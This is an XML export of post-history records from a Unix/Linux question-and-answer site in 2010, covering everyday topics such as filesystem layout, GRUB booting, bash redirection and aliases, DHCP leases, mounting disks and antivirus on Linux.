  <row Id="9109" PostHistoryTypeId="2" PostId="4199" RevisionGUID="78180c3f-593b-4c3f-bf9c-8c3403ea1e7b" CreationDate="2010-11-18T22:39:18.713" UserId="2594" Text="/usr/local/bin is the most popular default location executable, especially for open source ones. This is however arguably a poor choice as, on Unix systems, /usr has been standardized in the early nineties to contain a hierarchy of files that belong to the operating system and thus can be shared by multiple systems using that OS. As these files are static, the /usr file system can be mounted read-only. /usr/local is defeating this standard as it is by design local thus non shared, need to be read-write to allow local compilation and isn't part of the operation system. Too bad something like /opt/local wasn't chosen instead ..." />
  <row Id="9110" PostHistoryTypeId="2" PostId="4200" RevisionGUID="7113c111-c163-4bf5-b973-d48ec7dd68f2" CreationDate="2010-11-19T01:04:02.877" UserId="185" Text="You have to install it on /dev/sdX devices because grub runs before you are able to know that that your are using raid devices. And you should install grub on all active disk that are part of the mdadm." />
  <row Id="9111" PostHistoryTypeId="2" PostId="4201" RevisionGUID="4814d35b-c617-4355-93fc-06c5298d7bff" CreationDate="2010-11-19T01:11:07.257" UserId="2727" Text="How to make my linux-2.6.24.4 to identify a hard disk with serial mode on intel 3201 mainboard?&#xD;&#xA;I have pre-load modules libata.ko ahci.ko scsi_mod.ko sd_mod.ko,But it doesn't work on intel 3210 mainboard. It can work on intel 5000P mainboard.&#xD;&#xA;&#xD;&#xA;Any modules I should to load for support intel 3210 sata hard disk support?&#xD;&#xA;" />
  <row Id="9112" PostHistoryTypeId="1" PostId="4201" RevisionGUID="4814d35b-c617-4355-93fc-06c5298d7bff" CreationDate="2010-11-19T01:11:07.257" UserId="2727" Text="How to make my linux-2.6.24.4 to identify a hard disk with serial mode on intel 3201 mainboard." />
  <row Id="9113" PostHistoryTypeId="3" PostId="4201" RevisionGUID="4814d35b-c617-4355-93fc-06c5298d7bff" CreationDate="2010-11-19T01:11:07.257" UserId="2727" Text="ésataà" />
  <row Id="9114" PostHistoryTypeId="2" PostId="4202" RevisionGUID="5c56f963-8516-44c6-8921-ef93cf521371" CreationDate="2010-11-19T03:20:08.860" UserId="2730" Text="Hi folks, &#xD;&#xA;&#xD;&#xA;I've got usb-keys setup to multi-boot different Linux images- &#xD;&#xA;&#xD;&#xA;I wouldn't mind adding FreeNAS, ther's a doc with sample's to add to grub.cfg;&#xD;&#xA;&#xD;&#xA;https://docs.google.com/Doc?docid=0ATls0YIAGFKmZGduenpqOHhfM2M4ZndueGZ0&amp;hl=en&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm unsure how far off the mark I am with this attempt, or even if its possible?&#xD;&#xA;&#xD;&#xA;    menuentry &quot;FreeNAS&quot; {&#xD;&#xA;        insmod ufs2&#xD;&#xA;        set isofile=&quot;/boot/FreeNAS-amd64-LiveCD-0.7.2.5543.iso&quot;&#xD;&#xA;        loopback loop $isofile&#xD;&#xA;        freebsd                 (loop)/boot/kernel/kernel.gz&#xD;&#xA;        freebsd_loadenv         (loop)/boot/device.hints&#xD;&#xA;        set FreeBSD.vfs.root.mountfrom=ufs:/dev/ad6s4a&#xD;&#xA;    } &#xD;&#xA;&#xD;&#xA;any tips would be greatly appreciated, thanks!" />
  <row Id="9115" PostHistoryTypeId="1" PostId="4202" RevisionGUID="5c56f963-8516-44c6-8921-ef93cf521371" CreationDate="2010-11-19T03:20:08.860" UserId="2730" Text="freenas grub2 booting iso" />
  <row Id="9116" PostHistoryTypeId="3" PostId="4202" RevisionGUID="5c56f963-8516-44c6-8921-ef93cf521371" CreationDate="2010-11-19T03:20:08.860" UserId="2730" Text="éfreebsdàédualöbootàébootöloaderàégrub2à" />
  <row Id="9117" PostHistoryTypeId="2" PostId="4203" RevisionGUID="e1e13dd1-b04d-4b33-a8ca-542f1ab31361" CreationDate="2010-11-19T09:36:14.443" UserId="2179" Text="Some times I wish the particular language I happen to be writing in had syntax highlighting. How can I add that?" />
  <row Id="9118" PostHistoryTypeId="1" PostId="4203" RevisionGUID="e1e13dd1-b04d-4b33-a8ca-542f1ab31361" CreationDate="2010-11-19T09:36:14.443" UserId="2179" Text="How can I write a new syntax highlighter for gedit?" />
  <row Id="9119" PostHistoryTypeId="3" PostId="4203" RevisionGUID="e1e13dd1-b04d-4b33-a8ca-542f1ab31361" CreationDate="2010-11-19T09:36:14.443" UserId="2179" Text="étextöprocessingàégedità" />
  <row Id="9121" PostHistoryTypeId="2" PostId="4205" RevisionGUID="cada7c26-a400-4318-ac9f-4d86df6536d0" CreationDate="2010-11-19T10:33:27.287" UserId="2626" Text="- **Enter this in the terminal**: `locate gtksourceview | grep /c.lang`  &lt;br/&gt;&#xD;&#xA;- Open the **c.lang** (XML) file in a editor of your choice.  &lt;br/&gt;&#xD;&#xA;- Happy editing! &lt;br/&gt;&#xD;&#xA; " />
  <row Id="9122" PostHistoryTypeId="5" PostId="4140" RevisionGUID="d3c1fe66-8603-4f92-b51b-67c8373ed635" CreationDate="2010-11-19T10:41:20.383" UserId="1026" Comment="added 166 characters in body" Text="I found a file formatted with Markdown. Could you guys suggest what viewer that I could use to view this type of files? Hopefully one without gui (if it's possible)&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I was actually looking for a viewer that could parse markdown file format that does not need any conversion. But something close to that should be ok." />
  <row Id="9123" PostHistoryTypeId="5" PostId="4205" RevisionGUID="9432b7b6-f59d-4fe0-96e6-16510d4b7877" CreationDate="2010-11-19T10:41:59.107" UserId="2626" Comment="deleted 33 characters in body" Text="- [GtkSourceView](http://projects.gnome.org/gtksourceview/) is a portable C library which supports configurable syntax highlighting in gedit." />
  <row Id="9124" PostHistoryTypeId="5" PostId="4205" RevisionGUID="65c438fd-4f64-40fa-a0ab-4fa3544ea732" CreationDate="2010-11-19T10:47:20.277" UserId="2626" Comment="added 171 characters in body; added 25 characters in body" Text="- [GtkSourceView](http://projects.gnome.org/gtksourceview/) is a portable C library which supports configurable syntax highlighting in gedit.&#xD;&#xA;- locate gtksourceview | grep /language-specs&#xD;&#xA;- You need to create an xml file for the particular language and save it in the language-specs directory of gtksourceview as **language_name.lang**" />
  <row Id="9125" PostHistoryTypeId="5" PostId="4205" RevisionGUID="bb677d8c-eb1b-494a-bbbf-9f0a2c6db024" CreationDate="2010-11-19T10:54:30.083" UserId="2626" Comment="deleted 30 characters in body; deleted 8 characters in body" Text="- [GtkSourceView](http://projects.gnome.org/gtksourceview/) is a portable C library which supports configurable syntax highlighting in gedit.&#xD;&#xA;- Create an xml file with custom syntax highlighting for the language.&#xD;&#xA;- Save it in **/usr/share/gtksourceview*/language-specs** as **language_name.lang** " />
  <row Id="9126" PostHistoryTypeId="5" PostId="4205" RevisionGUID="089a7ecf-c2c9-4470-9aa5-09f97b5ca6bb" CreationDate="2010-11-19T11:08:17.177" UserId="2626" Comment="added 177 characters in body; deleted 12 characters in body" Text="- [GtkSourceView](http://projects.gnome.org/gtksourceview/) is a portable C library which supports configurable syntax highlighting in gedit.&#xD;&#xA;- Create an xml file with custom syntax highlighting for the language. &lt;br/&gt;&#xD;&#xA;- Save it in **/usr/share/gtksourceview*/language-specs** as **language_name.lang**&#xD;&#xA;&#xD;&#xA;  Refer [Language Definition v2.0 Reference](http://library.gnome.org/devel/gtksourceview-2.0/stable/lang-reference.html) for help with syntax highlighting." />
  <row Id="9127" PostHistoryTypeId="5" PostId="4184" RevisionGUID="4abaa76d-50f5-4f12-93c5-0c7c329d6e32" CreationDate="2010-11-19T15:27:41.753" UserId="1157" Comment="added 45 characters in body" Text="Pipe the lines through `sort -n -r -k2`.&#xD;&#xA;Edited to sort from largest to smallest." />
  <row Id="9128" PostHistoryTypeId="5" PostId="4195" RevisionGUID="04cb1644-463d-4763-8124-a8630687f6ea" CreationDate="2010-11-19T15:34:22.917" UserId="250" Comment="should be stdout" Text="Okay. If I wanted to redirect the output of a program to a file, I'd do something like this&#xD;&#xA;&#xD;&#xA;    prog &gt; file&#xD;&#xA;&#xD;&#xA;If I wanted to redirect both stdin and stdout to that file, then I'd do&#xD;&#xA;&#xD;&#xA;    prog &gt; file 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;This is all well and good if you want the output to go to the file. But what if you want the output to go to the file and yet still go to stdout/stderr? So, the output is saved in the file, but you can still see it on the console as the program is running. Is there a way to do that? And if so, how?" />
  <row Id="9129" PostHistoryTypeId="6" PostId="4195" RevisionGUID="04cb1644-463d-4763-8124-a8630687f6ea" CreationDate="2010-11-19T15:34:22.917" UserId="250" Comment="should be stdout" Text="ébashàéshellàéioöredirectionà" />
  <row Id="9130" PostHistoryTypeId="6" PostId="4191" RevisionGUID="de812062-91dd-494c-8e06-12a49fcf0611" CreationDate="2010-11-19T15:40:16.390" UserId="250" Comment="retag" Text="évimàéconfigurationàévimrcà" />
  <row Id="9131" PostHistoryTypeId="2" PostId="4206" RevisionGUID="d80aab08-c389-4820-8e04-0544526dd967" CreationDate="2010-11-19T16:47:01.450" UserId="2534" Text="The answer to this depends on how you previously configured the DHCP server.&#xD;&#xA;&#xD;&#xA;Normal DHCP behaviour is this:&#xD;&#xA;&#xD;&#xA;1. Lease is given a lease time perhaps 7days.&#xD;&#xA;2. Client machine starts requesting a new lease half way through the current lease period.&#xD;&#xA;3. Client machine only stops using the IP address when it either gets a new lease from the same DHCP server or the lease has expired.&#xD;&#xA;&#xD;&#xA;The consequence of this is that you need to start planning your network maintenance. When you are going to make a change that will require new IP settings, about &quot;lease time&quot; ahead, you need to reduce the lease time down to a more dynamic setting (e.g. 30 minutes).&#xD;&#xA;&#xD;&#xA;that way changes in DHCP will be rolled out smoothly, and then when you are ready, you increase the lease time back to a more sensible value.  Do not leave it at 30 minutes as it will mean that should the DHCP server fail, half your machines will be connectionless in 15 minutes.&#xD;&#xA;&#xD;&#xA;You can force through a change in lease by asking everyone to reboot their computers (or for the more technically capable, releasing and then renewing their leases)" />
  <row Id="9132" PostHistoryTypeId="2" PostId="4207" RevisionGUID="fdfbadbf-d5af-415a-9f60-9f9c68c3e2c7" CreationDate="2010-11-19T19:42:39.603" UserId="1383" Text="The following solution counts the actual number of used inodes starting from current directory:&#xD;&#xA;&#xD;&#xA;    find . -print0 | xargs -0 -n 1 ls -id | cut -d' ' -f1 | sort -u | wc -l&#xD;&#xA;&#xD;&#xA;To get the number of files of the same subset, use:&#xD;&#xA;&#xD;&#xA;    find . | wc -l&#xD;&#xA;&#xD;&#xA;For solutions exploring only subdirectories, without taking into account files in current directory, you can refer to other answers." />
  <row Id="9133" PostHistoryTypeId="5" PostId="4195" RevisionGUID="d4fbd094-4898-43b7-a70b-385a5397d6eb" CreationDate="2010-11-19T22:58:52.340" UserId="2712" Comment="corrected misuse of stdin and stdout" Text="Okay. If I wanted to redirect the output of a program to a file, I'd do something like this&#xD;&#xA;&#xD;&#xA;    prog &gt; file&#xD;&#xA;&#xD;&#xA;If I wanted to redirect both stdout and stderr to that file, then I'd do&#xD;&#xA;&#xD;&#xA;    prog &gt; file 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;This is all well and good if you want the output to go to the file. But what if you want the output to go to the file and yet still go to stdout/stderr? So, the output is saved in the file, but you can still see it on the console as the program is running. Is there a way to do that? And if so, how?" />
  <row Id="9134" PostHistoryTypeId="4" PostId="4195" RevisionGUID="d4fbd094-4898-43b7-a70b-385a5397d6eb" CreationDate="2010-11-19T22:58:52.340" UserId="2712" Comment="corrected misuse of stdin and stdout" Text="Is there a way in bash to redirect output and still have it go to stdout?" />
  <row Id="9135" PostHistoryTypeId="5" PostId="4194" RevisionGUID="fbaaf95e-9bdc-4ef8-adf0-a9026cc07c63" CreationDate="2010-11-19T23:22:39.260" UserId="138" Comment="link fix...stupid markdown" Text="&gt; /usr/, I assume is the user of the computer. &#xD;&#xA;&#xD;&#xA;Originally, yes, it did refer to the system's users, as I explained in my comment on &lt;a href=&quot;http://unix.stackexchange.com/questions/4186/#4189&quot;&gt;nzwulfin's answer&lt;/a&gt;. That reason is now historical.&#xD;&#xA;&#xD;&#xA;The best reason for it to still be called that is that it contains &quot;user files&quot;, which is to say things that don't need to be available until the system has booted up far enough to support normal use by users.&#xD;&#xA;&#xD;&#xA;There's a clear dividing line: a Unix box is supposed to be able to boot up into single-user mode without needing any file under `/usr`. You can try it on your Mac, if you like: hold Cmd-S while it boots, and you will land in single-user mode. It's like running under the Terminal, but it takes over the whole screen because the GUI hasn't started yet, and you're running as `root`. (Type &quot;exit&quot; at the single-user root prompt to leave single-user mode and continue booting into multi-user mode.)&#xD;&#xA;&#xD;&#xA;Unix systems are organized in this fashion because Unix dates from the days of 5 MB hard disks the size of washing machines. It was common for a big Unix system to have multiple physical hard disks, and for `/usr` to be off on a separate disk from the system's boot volume. If the `/usr` volume wouldn't mount for some reason, you could still get a Unix box to boot up into single-user mode to fix it.&#xD;&#xA;&#xD;&#xA;&gt; .../local/...obviously stands for the local computer...&#xD;&#xA;&#xD;&#xA;Yes. It refers to the fact that files under `/usr/local` are supposed to be particular to that single system. Files that are in any way generic are supposed to live elsewhere.&#xD;&#xA;&#xD;&#xA;This also has roots in the way Unix systems were commonly used decades ago when all this was standardized. In this case, it's again because hard disks were bulky, really expensive, and stored little by today's standards. To save money and space on disks, a computer lab full of Unix boxes would often share most of `/usr` over NFS or some other network file sharing protocol, so each box didn't have to have its own redundant copy. (This is also where we get `/usr/share`: it segregates files that could be shared even between Unix boxes with different processor types. Typically, text files: man pages, the dictionary, etc.) Files specific to a single box would go under `/usr/local`, which would be a separate volume from `/usr`.&#xD;&#xA;&#xD;&#xA;This historical heritage is why it's still the default for most third-party Unix software to install into `/usr/local` when installed by hand. Most such software will let you install the package somewhere else, but by making a non-choice, you get the safe default, which doesn't interfere with other common install locations with more specific purposes.&#xD;&#xA;&#xD;&#xA;There are good reasons to make software install somewhere else instead. Apple's OS X team does this when they build, say, `grep` from the &lt;a href=&quot;http://www.gnu.org/software/grep/&quot;&gt;GNU grep source code&lt;/a&gt;. They use `/usr` as the installation prefix, overriding the `/usr/local` default. Another common prefix is `/usr/X11R6`.&#xD;&#xA;&#xD;&#xA;&gt; And what is /bin?&#xD;&#xA;&#xD;&#xA;It's short for &quot;binary&quot;, a generic term that can refer to many different things, depending on context. &#xD;&#xA;&#xD;&#xA;In the context of Unix directories, it refers to that fact that the files in that directory are compiled executable programs, as opposed to text files, which live elsewhere.&#xD;&#xA;&#xD;&#xA;On a modern system, it's common to find the occasional script file in a `bin` directory. That bends the original meaning behind the purpose of this directory, since scripts are text files, but it's not a problem in practice. The original Unix systems were carefully enough scoped that this didn't happen, at least not with the OS as originally delivered. Scripts that came with the OS lived elsewhere, like `/etc`." />
  <row Id="9136" PostHistoryTypeId="6" PostId="3132" RevisionGUID="df2508bd-d8e4-448b-ba50-432cd7528503" CreationDate="2010-11-19T23:56:21.500" UserId="885" Comment="edited tags" Text="éhistoryàébsdàésystemövà" />
  <row Id="9137" PostHistoryTypeId="2" PostId="4208" RevisionGUID="7b333680-dc35-4b5e-868e-d53e1a18314c" CreationDate="2010-11-20T01:27:50.460" UserId="1375" Text="Hello,&#xD;&#xA;&#xD;&#xA;I managed to make my 8.0GB USB flash drive boot the current SME Server 8 beta ISO image. The installation program starts when I boot from USB, and configuration of install options worked fine.&#xD;&#xA;&#xD;&#xA;After pressing &quot;Install now&quot;, the installation starts, then ends with a python exception error: IOError: [Errno 30] Read-only file system&#xD;&#xA;&#xD;&#xA;I tried it twice and got the same error, what does this mean and how should I alleviate this problem?&#xD;&#xA;&#xD;&#xA;Thanks!!" />
  <row Id="9138" PostHistoryTypeId="1" PostId="4208" RevisionGUID="7b333680-dc35-4b5e-868e-d53e1a18314c" CreationDate="2010-11-20T01:27:50.460" UserId="1375" Text="SME server install from USB crashes with &quot;IOError: [Errno 30] Read-only file system&quot;" />
  <row Id="9139" PostHistoryTypeId="3" PostId="4208" RevisionGUID="7b333680-dc35-4b5e-868e-d53e1a18314c" CreationDate="2010-11-20T01:27:50.460" UserId="1375" Text="éinstallàéusbà" />
  <row Id="9140" PostHistoryTypeId="5" PostId="4208" RevisionGUID="a231eb21-70b3-48dc-84cf-1387e5c260ae" CreationDate="2010-11-20T01:43:33.237" UserId="73" Comment="deleted 14 characters in body" Text="I managed to make my 8.0GB USB flash drive boot the current SME Server 8 beta ISO image. The installation program starts when I boot from USB, and configuration of install options worked fine.&#xD;&#xA;&#xD;&#xA;After pressing &quot;Install now&quot;, the installation starts, then ends with a python exception error:&#xD;&#xA;&#xD;&#xA;&gt; IOError: [Errno 30] Read-only file system&#xD;&#xA;&#xD;&#xA;I tried it twice and got the same error. What does this mean, and how should I alleviate this problem?&#xD;&#xA;" />
  <row Id="9141" PostHistoryTypeId="2" PostId="4209" RevisionGUID="eb228a8f-58b7-48a3-bc55-60fc09e5ad16" CreationDate="2010-11-20T02:55:11.370" UserId="2712" Text="Obviously, if you stick a lot of files in one folder, the efficiency of various file operations is going to go down (e.g. `ls` takes a *lot* longer). However, what's the limit for how many files you can stick in a folder before it chokes on you? Obviously, this may vary from file system to file system, but I would think that they'd at least be similar in their limits. Can you stuff files in there until you run out of disk space, or are going to run into some sort of limit like you can only put 65536 (or some other multiple of 2) files in a folder before your file system chokes on you?&#xD;&#xA;&#xD;&#xA;I'm most interested in jfs, since that's what I use primarily use for my large partitions, but it would be good to know for *nix file systems in general." />
  <row Id="9142" PostHistoryTypeId="1" PostId="4209" RevisionGUID="eb228a8f-58b7-48a3-bc55-60fc09e5ad16" CreationDate="2010-11-20T02:55:11.370" UserId="2712" Text="What is the typical file limit of a folder on *nix file systems?" />
  <row Id="9143" PostHistoryTypeId="3" PostId="4209" RevisionGUID="eb228a8f-58b7-48a3-bc55-60fc09e5ad16" CreationDate="2010-11-20T02:55:11.370" UserId="2712" Text="éfilesystemsà" />
  <row Id="9144" PostHistoryTypeId="2" PostId="4210" RevisionGUID="ce34e43e-d18b-4e04-ad4f-bc51b6e9dee8" CreationDate="2010-11-20T05:02:53.633" UserId="1294" Text="In the old UFS, directory size was limited only by your disk space as directories are just files which - like other files - have effectively unbounded length. I don't know, but expect that JFS is no different.&#xD;&#xA;&#xD;&#xA;As to how much is too much, it reminds me of the story of the manager who notices that when there are more than 8 users on the machine, performance drops dramatically so he asks the system administrator to find the 8 in the code and change it to 16. The point being that there is no 8, it is an emergent property of the system as a whole. How to know how big is too big? The only practical way is to add entries until it takes longer than you want. This is obviously a rather subjective approach but there isn't any other.&#xD;&#xA;&#xD;&#xA;If you are looking to store 65k+ files, there are probably better approaches depending on the nature of your data and how you wish to access it." />
  <row Id="9145" PostHistoryTypeId="2" PostId="4211" RevisionGUID="f772c4f5-0bd7-4bf5-9120-f38683a325a0" CreationDate="2010-11-20T08:40:53.697" UserDisplayName="Fcdd" Text="Hi I have a server which the date will be backup to a external windows server hardfisk which is mourned. But problem is everytime the server is restarted I will need to remount hw do I setup such as it will be mounted on server startup?" />
  <row Id="9146" PostHistoryTypeId="1" PostId="4211" RevisionGUID="f772c4f5-0bd7-4bf5-9120-f38683a325a0" CreationDate="2010-11-20T08:40:53.697" UserDisplayName="Fcdd" Text="How to mount external hardfisk everytime the server is restarted?" />
  <row Id="9147" PostHistoryTypeId="3" PostId="4211" RevisionGUID="f772c4f5-0bd7-4bf5-9120-f38683a325a0" CreationDate="2010-11-20T08:40:53.697" UserDisplayName="Fcdd" Text="écentosà" />
  <row Id="9148" PostHistoryTypeId="2" PostId="4212" RevisionGUID="4a1ab8e5-6347-418f-9a21-8a1ed0319fd0" CreationDate="2010-11-20T09:38:05.763" UserId="2534" Text="you need to put an entry into /etc/fstab&#xD;&#xA;&#xD;&#xA;The exact line you put in depends on how you mount the filesystem e.g. is it NFS ,sftp or samba accessed." />
  <row Id="9149" PostHistoryTypeId="5" PostId="4211" RevisionGUID="2529e67c-65e0-4b2e-aa6e-022ee0a9e81d" CreationDate="2010-11-20T11:01:36.237" UserId="885" Comment="tags; fixed English (where I understood)" Text="I have a server which the date will be backup to a external windows server hard disk which is mounted. But problem is every time the server is restarted I will need to mount the disk manually. How do I setup such as it will be mounted on server startup?" />
  <row Id="9150" PostHistoryTypeId="4" PostId="4211" RevisionGUID="2529e67c-65e0-4b2e-aa6e-022ee0a9e81d" CreationDate="2010-11-20T11:01:36.237" UserId="885" Comment="tags; fixed English (where I understood)" Text="How to mount external hard disk every time the server is restarted?" />
  <row Id="9151" PostHistoryTypeId="6" PostId="4211" RevisionGUID="2529e67c-65e0-4b2e-aa6e-022ee0a9e81d" CreationDate="2010-11-20T11:01:36.237" UserId="885" Comment="tags; fixed English (where I understood)" Text="émountàébootàécentosàéhardödiskà" />
  <row Id="9152" PostHistoryTypeId="2" PostId="4213" RevisionGUID="4ee1ac66-12d0-40e3-b3c9-85f189d5b2c0" CreationDate="2010-11-20T11:08:04.017" UserId="2534" Text="I have used 64bit OpenBSD as a firewall and router without problems for over 2 years, and would highly recomend its stability.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="9153" PostHistoryTypeId="6" PostId="4208" RevisionGUID="f926a45e-2d42-477c-afbb-8a224b020a78" CreationDate="2010-11-20T11:10:30.647" UserId="885" Comment="edited tags" Text="éinstallàéusbàésmeöserverà" />
  <row Id="9154" PostHistoryTypeId="2" PostId="4214" RevisionGUID="30e82b6c-27d9-43a2-8e35-59140132137f" CreationDate="2010-11-20T11:49:04.137" UserId="2683" Text="What is the difference between a &quot;job&quot; and a &quot;process&quot;?" />
  <row Id="9155" PostHistoryTypeId="1" PostId="4214" RevisionGUID="30e82b6c-27d9-43a2-8e35-59140132137f" CreationDate="2010-11-20T11:49:04.137" UserId="2683" Text="What is the difference between a job and a process?" />
  <row Id="9156" PostHistoryTypeId="3" PostId="4214" RevisionGUID="30e82b6c-27d9-43a2-8e35-59140132137f" CreationDate="2010-11-20T11:49:04.137" UserId="2683" Text="éprocessàéjoböcontrolàéterminologyà" />
  <row Id="9157" PostHistoryTypeId="2" PostId="4215" RevisionGUID="39bb9597-b6ec-47de-b1df-38729b89a58d" CreationDate="2010-11-20T12:06:11.570" UserId="2180" Text="A process is any running program with its own address space.&#xD;&#xA;&#xD;&#xA;A job is a concept used by the shell - any program you interactively start that doesn't detach (ie, not a daemon) is a job. If you're running an interactive program, you can press `&lt;ctrl&gt;` + `&lt;z&gt;` to suspend it. Then you can start it back in the forground (using `fg`) or in the background (using `bg`).&#xD;&#xA;&#xD;&#xA;While the program is suspended or running in the background, you can start another program - you would then have two jobs running. You can also start a program running in the background by appending an &quot;&amp;&quot; like this: `program &amp;`. That program would become a background job. To list all the jobs you are running, you can use `jobs`.&#xD;&#xA;&#xD;&#xA;For more information on jobs, see http://www.faqs.org/docs/bashman/bashref_77.html ." />
  <row Id="9158" PostHistoryTypeId="2" PostId="4216" RevisionGUID="55244072-6ea8-4713-bf45-361554c03ec9" CreationDate="2010-11-20T12:06:34.473" UserId="688" Text="I have a Fedora 14 x86_64 iso image and I want to install it using a USB stick. How do I get this stick to boot up, and use the image to start the installation? I'm running Debian." />
  <row Id="9159" PostHistoryTypeId="1" PostId="4216" RevisionGUID="55244072-6ea8-4713-bf45-361554c03ec9" CreationDate="2010-11-20T12:06:34.473" UserId="688" Text="How to install Fedora from an ISO on a USB?" />
  <row Id="9160" PostHistoryTypeId="3" PostId="4216" RevisionGUID="55244072-6ea8-4713-bf45-361554c03ec9" CreationDate="2010-11-20T12:06:34.473" UserId="688" Text="éfedoraàédebianàéusbà" />
  <row Id="9161" PostHistoryTypeId="2" PostId="4217" RevisionGUID="ba72a837-9bfc-4b6e-8e05-f5d441fd89c0" CreationDate="2010-11-20T12:15:20.740" UserId="2180" Text="Fedora has a good page about this here: http://fedoraproject.org/wiki/FedoraLiveCD/USBHowTo . They have a tool called [live usb creator][1] that will setup the USB for you.&#xD;&#xA;&#xD;&#xA;For a general tool, [UNetbootin][2] will allow you to create a bootable USB drive from just about any bootable ISO image.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://fedorahosted.org/liveusb-creator/&#xD;&#xA;  [2]: http://unetbootin.sourceforge.net/" />
  <row Id="9162" PostHistoryTypeId="2" PostId="4218" RevisionGUID="49cb860f-2b1c-49a1-8df5-de0078c73bbb" CreationDate="2010-11-20T14:26:33.877" UserId="653" Text="Many web apps like magento or eZ Publish have a var/cache/ folder and a way to clear the cache that is faster than going in the app backend is to do this:&#xD;&#xA;&#xD;&#xA;    rm -rf var/cache&#xD;&#xA;After doing this a couple of times, it is scientifically proven that you always end up:&#xD;&#xA;&#xD;&#xA; - either doing this in the root of your server;&#xD;&#xA; - or add a `/` before `var`&#xD;&#xA;Lesson learned : create an alias for this command with an absolute path in it." />
  <row Id="9163" PostHistoryTypeId="2" PostId="4219" RevisionGUID="1ebd144b-f647-4d6d-9ff6-e295dc6727d4" CreationDate="2010-11-20T16:13:37.813" UserId="2651" Text="I am looking to get tab-completion on my command line aliases, for example, say I defined the following alias : &#xD;&#xA;&#xD;&#xA;    alias apt-inst='sudo aptitude install'&#xD;&#xA;&#xD;&#xA;Is there a way to get the completions provided by aptitude when I hit the tab key?" />
  <row Id="9164" PostHistoryTypeId="1" PostId="4219" RevisionGUID="1ebd144b-f647-4d6d-9ff6-e295dc6727d4" CreationDate="2010-11-20T16:13:37.813" UserId="2651" Text="How do I get bash completion for command aliases?" />
  <row Id="9165" PostHistoryTypeId="3" PostId="4219" RevisionGUID="1ebd144b-f647-4d6d-9ff6-e295dc6727d4" CreationDate="2010-11-20T16:13:37.813" UserId="2651" Text="élinuxàébashà" />
  <row Id="9166" PostHistoryTypeId="5" PostId="4219" RevisionGUID="dd45de8d-fd33-40e0-947a-f53ff01a5d71" CreationDate="2010-11-20T16:18:46.980" UserId="2651" Comment="added 234 characters in body" Text="I am looking to get tab-completion on my command line aliases, for example, say I defined the following alias : &#xD;&#xA;&#xD;&#xA;    alias apt-inst='sudo aptitude install'&#xD;&#xA;&#xD;&#xA;Is there a way to get the completions provided by aptitude when I hit the tab key? i.e. when I write 'sudo aptitude install gnumer' and hit tab, aptitude completes this to gnumeric, or if there was uncertainty lists all the available packages starting with gnumer. If I do it using my alias, nothing - no completion." />
  <row Id="9167" PostHistoryTypeId="5" PostId="1514" RevisionGUID="e98cca93-a6fd-4867-a896-900b8f0efb74" CreationDate="2010-11-20T16:45:37.740" UserId="250" Comment="include explanation" Text="Company that i used to work for had its product running on SCO. I was doing some debugging about application getting very slow on our demo server and at the same time there was a bunch of customers being given a demo / lecture about upcoming new features.&#xD;&#xA;&#xD;&#xA;So, i ran the application that used to get stuck.. did my stuff on it to verify the root cause but since it was still &quot;stuck&quot;, i tried to kill it:&#xD;&#xA;&#xD;&#xA;`pkill -9 mytestapplication`&#xD;&#xA;&#xD;&#xA;What i did learn was that pkill doesn't do exactly the same on sco as it does on linux =)&#xD;&#xA;&#xD;&#xA;... It basicly kills everything the user has access to, and with root .. its everything =) " />
  <row Id="9168" PostHistoryTypeId="2" PostId="4220" RevisionGUID="b3e84583-9bc8-4bc4-b66e-e2a8b98a6ed9" CreationDate="2010-11-20T16:48:59.690" UserId="2180" Text="There is [a great thread about this on the Ubuntu forums][1].&#xD;&#xA;&#xD;&#xA;I prefer to use aliases for adding always-used arguments to existing programs. For instance, with `grep`, I always want to skip devices and binary files, so I make an alias for `grep`. For adding new commands such as `grepbin`, I use a shell script in my `~/bin` folder. If that folder is in your path, it will get autocompleted.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=733397" />
  <row Id="9169" PostHistoryTypeId="2" PostId="4221" RevisionGUID="b0818fcd-9282-486d-8be9-0630b4c6566d" CreationDate="2010-11-20T18:21:28.660" UserId="2128" Text="I need to edit `*.doc` and `*.docx` files on Linux. What should I use?&#xD;&#xA;&#xD;&#xA; * Emulation + MS Office&#xD;&#xA; * OpenOffice&#xD;&#xA; * OpenOffice variants&#xD;&#xA; * Alternatives?" />
  <row Id="9170" PostHistoryTypeId="1" PostId="4221" RevisionGUID="b0818fcd-9282-486d-8be9-0630b4c6566d" CreationDate="2010-11-20T18:21:28.660" UserId="2128" Text="What is the most complete MS Word alternative?" />
  <row Id="9171" PostHistoryTypeId="3" PostId="4221" RevisionGUID="b0818fcd-9282-486d-8be9-0630b4c6566d" CreationDate="2010-11-20T18:21:28.660" UserId="2128" Text="éeditorsàétextöprocessingà" />
  <row Id="9172" PostHistoryTypeId="2" PostId="4222" RevisionGUID="6713b4eb-eeec-4894-94cd-8084fa125009" CreationDate="2010-11-20T18:31:24.857" UserId="2128" Text="Are builtin security features allied to secure user behavior enough to protect a Linux system?&#xD;&#xA;Or should I install an antivirus software?" />
  <row Id="9173" PostHistoryTypeId="1" PostId="4222" RevisionGUID="6713b4eb-eeec-4894-94cd-8084fa125009" CreationDate="2010-11-20T18:31:24.857" UserId="2128" Text="Should I install an antivirus?" />
  <row Id="9174" PostHistoryTypeId="3" PostId="4222" RevisionGUID="6713b4eb-eeec-4894-94cd-8084fa125009" CreationDate="2010-11-20T18:31:24.857" UserId="2128" Text="évirusesà" />
  <row Id="9175" PostHistoryTypeId="2" PostId="4223" RevisionGUID="851acaa5-e94b-4958-9244-9ec053b4cfa6" CreationDate="2010-11-20T18:40:55.680" UserId="2534" Text="If its a company server then yes you should have anti-virus on it.  If you don't and it gets infected, you will either get your balls kicked, or get fired.  Neither is good.&#xD;&#xA;&#xD;&#xA;At home, you can take more of a chance.  however, if you have windows machines, the Linux samba shares can act as safe haven for the virus and can keep reinfecting your windows machines.&#xD;&#xA;&#xD;&#xA;Whilst it's quite rare to catch a linux viurus or worm, but they do appear from time to time. Having a SSH port available to the internet is a major well known risk, there may well be other common attack methods for linux home servers." />
